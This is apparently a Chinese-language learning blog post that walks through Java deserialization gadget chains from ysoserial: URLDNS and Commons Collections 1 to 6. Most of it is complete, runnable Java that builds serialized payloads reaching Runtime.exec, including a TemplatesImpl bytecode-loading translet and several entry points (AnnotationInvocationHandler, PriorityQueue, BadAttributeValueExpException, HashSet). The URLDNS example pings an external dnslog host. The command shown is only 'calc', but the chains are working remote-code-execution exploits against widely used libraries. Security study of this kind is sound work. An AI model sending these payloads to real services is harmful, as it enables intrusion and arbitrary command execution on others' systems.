java反序列化
前几个月,跟着很多师傅在网上写的java反序列化博客学习。但直到今天,我对java反序列化没有一个清晰的认识。所以我计划从ysoserial源码的角度逐步探索gadget,理解反序列化,所以下文将是我思考的思路。
环境搭建
环境搭建选择lsf师傅的方法采用ysoserial源码加IDEA
URLDNS
首先分析的是p神推荐的比较简单的反序列化链进行分析。
注释部分进行了简要的介绍,通过阅读注释理解了URL.hashCode()会进行DNS查询
根据给出的Gadget,首先找到HashMap
代码的里就有HashMap,代码里面的注释同样包含了大量的信息,先放着不谈,我们先跟进一下Gadget
本来的思路是从上到下跟进,但是发现这样不太好理解,所以尝试从URL.hashCode()向上分析
synchronized:synchronized可以保证方法或者代码块在运行时,同一时刻只有一个方法可以进入到临界区,同时它还可以保证共享变量的内存可见性,Java中每一个对象都可以作为锁,这是synchronized实现同步的基础。
hashCode==-1也就是URL类所设置的初始值时,会触发handler.hashCode
java 的transient关键字为我们提供了便利,你只需要实现Serilizable接口,将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会序列化到指定的目的地中。
handler在构造方法中的赋值方法
protocol可控,跟进getURLStreamHandler
跟进Hashtable的get方法
这里的protocol传进来,这里就没什么好看的了,根据key获取值
所以URLStreamHandler就是根据protocol获取其工厂类,由于我对java网络的不了解这里跟进了一下,对URLDNS链并没有帮助
回到handler.hashCode也就是URLStreamHandler.hashCode
u参数就是URL对象
这里就好理解了,根据host获取IP地址,也就是DNS查询,host在构造方法中可控且支持序列化
至此,我们知道了URL.hashCode会进行一次DNS查询
那么如何引发这个方法呢?
回到Gadget,HashMap.hash()
他的hash方法会调用key.hashCode,那么思路就清晰了,key=URL就可以了,那我们就跟进HashMap.put(URL)
put时也调用了hash方法,那么下面就去看readObeject
在readObject方法中调用了put方法
自此,
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
分析完成。
那么我们下面理解一下代码
ysosrial中存在URL u = new URL(null, url, handler);
handler存在其目的是避免本地构造是进行DNS查询,由于这个变量不会进行序列化所以不会有影响。
Reflections.setFieldValue(u, "hashCode", -1);
这里还有一句设置hashCode为-1的值,这是为是什么呢?
原因是在构造的过程中由于调用了putVal()导致hash已经被执行了一次,所以这里的hashCode就有值了不等于-1,反序列化后也就不会触发handler.hashCode了,由于hashCode为私有变量所以采用反射的方法修改。
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL(null,"https://h3lveg.dnslog.cn",new sun.net.www.protocol.http.Handler());
HashMap hashMap = new HashMap();
hashMap.put(url,"sss");
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,-1);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
System.out.println(baos);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
objectInputStream.readObject();
}
}
测试发现有这么多条记录
put时有一次,readObject时有一次
另外两次还不理解,只能后续学习了
Commons Collections1
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
老规矩从内层看起,可以看到ChainedTransformer内包含两种类ConstantTransformer与InvokerTransformer
ConstantTransformer
阅读代码得知这个类的transform方法会返回传入的对象
InvokerTransformer
阅读代码得知这个类的transform方法会返回input的对应方法执行后返回的对象
知道了上述两类的作用下面往外看
ChainedTransformer
显然这段逻辑是说将数组里面transformer从头到尾执行transform并将前一个返回的值作为后一个transform的输入
验证
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class cc1pa {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(null);
}
}
LazyMap
可以看到LazyMap的get方法调用了transfrom方法
只需要factory=传入构造好的chainedtransform就可以了
由于构造方法protected所以需要用decorate
在上面代码的基础上,修改一下,检验
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class cc1pa {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
// transformer.transform(null);
// pb第二部分新增
Map inner = new HashMap();
Map lazymap = LazyMap.decorate(inner,transformer);
//此时调用,lazymap不包含key=“sovo”,相当于transformer.trasform("sovo")
lazymap.get("sovo");
//get之后包含了
}
}
AnnotationInvocationHandler
memberValues赋值为lazymap
var4=var2.getName
构造AnnotationInvocationHandler,因为AnnotationInvocationHandler的构造方法没有写限定符(public)默认为default,只能同个包内访问,所以需要利用反射获取构造方法。
而且需要动态代理调用invoke方法
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc1pa {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(transformers);
// transformer.transform(null);
// pb第二部分新增
Map inner = new HashMap();
Map lazymap = LazyMap.decorate(inner,transformer);
//此时调用,lazymap不包含key=“sovo”,相当于transform.trasform("sovo")
// lazymap.get("sovo");
//get之后包含了
// pc第三部分新增
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazymap);
// 动态代理调用invoke,此处动态代理创建实现Map接口的类,调用proxyMap的clear方法传入invocationHandler执行invoke
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
// proxyMap.clear();
// 代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是
// sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
// AnnotationInvocationHandler对这个proxyMap进行包裹:
invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(invocationHandler);
objectOutputStream.close();
System.out.println(byteArrayOutputStream);
ObjectInputStream objectInputStream= new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
Object o = (Object) objectInputStream.readObject();
}
}
Java 8u71以后不能用了,原因在于Annotationhandler#readObject逻辑改变
Commons Collections2
/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
经过前面反序列化的学习我们知道了invokerTransformer.transform能执行命令
我们直接去看TransformingComparator.compare()
构造方法为
传入第二个构造方法
这里存在一个误区,cc2链使用的包不再是低版本的了
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
但是cc2链依旧可以分析
现在,我们已经知道了compare方法可以调用transforme方法,那么下面我们就要找能调用compare方法的类的readObject,显然这个类就是PriorityQueue
我们去看一下代码。
跟进heapify()方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
这里for中的条件说明size要>=2才能进入循环,调用siftDown
跟进siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
跟进siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
可以看到这里存在comparator.cmpare,且全部的方法调用均是PriorityQueue内部方法,也就是说我们只需要构造一个PriorityQueue类的实例满足条件就行了
下面构造
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class cc2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(faketransformers);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(transformer,"iTransformers",transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();
ObjectInputStream objectInputStream= new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
//faketransformer是为了在构造过程中不执行命令,通过反射修改并序列化构造
Commons Collections3
cc3使用的依旧是org.apache.commons.collections.*与cc2不同
首先查看gadget
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
这里是说用InstantianteTransformer 代替 InvokerTransformer,那么我们去看这个类
InstantiateTransformer
可以看到这里获取对应参数的constructor实例
cc3不在和cc1一样通过直接反射执行命令了,而是采用加载字节码的方法
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
这里就需要学习一个新类了
TemplatesImpl
Java加载类机制
ClassLoader#loadclass去类缓存、父类等位置寻找类(双亲委派机制),如果找不到则ClassLoader#findclass会去加载远程class(jar,http,本地文件)最后交给ClassLoader#defineclass去处理字节码
TemplatesImpl利用
阅读Templateslmpl源码可以看到内部定义了一个继承ClassLoader的子类
且其defineClass传给ClassLoader处理
由此,我们寻找调用该方法的调用链
三处调用
通过查看三处调用的被调用情况发现只有TemplatesImpl#getTransletInstance()被TemplatesImpl#newTransformer()调用
调用链
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
查看调用条件_bytecodes是传入的字节码
_name!=null _class==null
这里选择TransformerFactoryImpl,此外
这里需要if成立进入否则进入else会报错
也就是说传入字节码的类需要是上图类的子类
测试
package cc3test1;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class sovo extends AbstractTranslet {
public sovo() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
}
package cc3test1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import java.lang.reflect.Field;
public class cc3run {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sovo");
setFieldValue(templates,"_bytecodes", new byte[][]{ClassPool.getDefault().get("cc3test1.sovo").toBytecode()});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
接下来寻找能够调用newTransformer的类,回到源码,发现TrAXFilter.class
可以看到其构造方法调用了newTransformer
结合这两者我们编写代码
package cc3test1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3last {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sovo");
setFieldValue(templates,"_bytecodes", new byte[][]{ClassPool.getDefault().get("cc3test1.sovo").toBytecode()});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformer = new ChainedTransformer(transformers);
Map inner = new HashMap();
Map lazymap = LazyMap.decorate(inner,transformer);
// lazymap.get("sovo");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,lazymap);
Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
// proxymap.clear();
invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class,proxymap);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(invocationHandler);
System.out.println(byteArrayOutputStream);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
高版本java不能复现
Commons Collections4
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
归纳一下,cc3对于cc1的提升是使用了字节码,那么cc4对cc2的提升就是使用字节码
归纳cc3与cc1区别,并迁移cc2
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sovo");
setFieldValue(templates,"_bytecodes", new byte[][]{ClassPool.getDefault().get("cc3test1.sovo").toBytecode()});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer[] faketransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer transformer = new ChainedTransformer(faketransformer);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(transformer,"iTransformers",transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();
ObjectInputStream objectInputStream= new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
Commons Collections5
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
通过Gadget可以发现cc5与cc1的不同在对LazyMap.get()的调用,cc5是TiedMapEntry.toString去看源码
this.map
可以看到toString对getValue调用了
寻找能调用toString的地方
得到
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws IOException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
//恶意Transformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashmap = new HashMap();
Map lazymap = LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"sss");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
//反射设置val值为TiedMapEntry实例
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
Commons Collections6
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
在分析cc5的时候,TiedMapEntry.toString()调用了getValue()然而我们发现这个类的hashCode也可以调,所以cc6是对其hashCode方法调用链的构造
由URLDNS里面对hashMap的分析可知其hash方法调用了hashCode()我们去分析
那么下面需要做的,就是找到一个调用put方法的类这里给出的是HashSet的readObject
可以发现writeObject是根据key值写的,所以我们要为构造的hashmap提供一个key
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class cc61 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformer = new ChainedTransformer(faketransformers);
Map inner = new HashMap();
Map lazymap = LazyMap.decorate(inner,transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"sovo");
HashSet set = new HashSet();
set.add(tiedMapEntry);
lazymap.clear();
setFieldValue(lazymap,"factory",new ChainedTransformer(transformers));
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}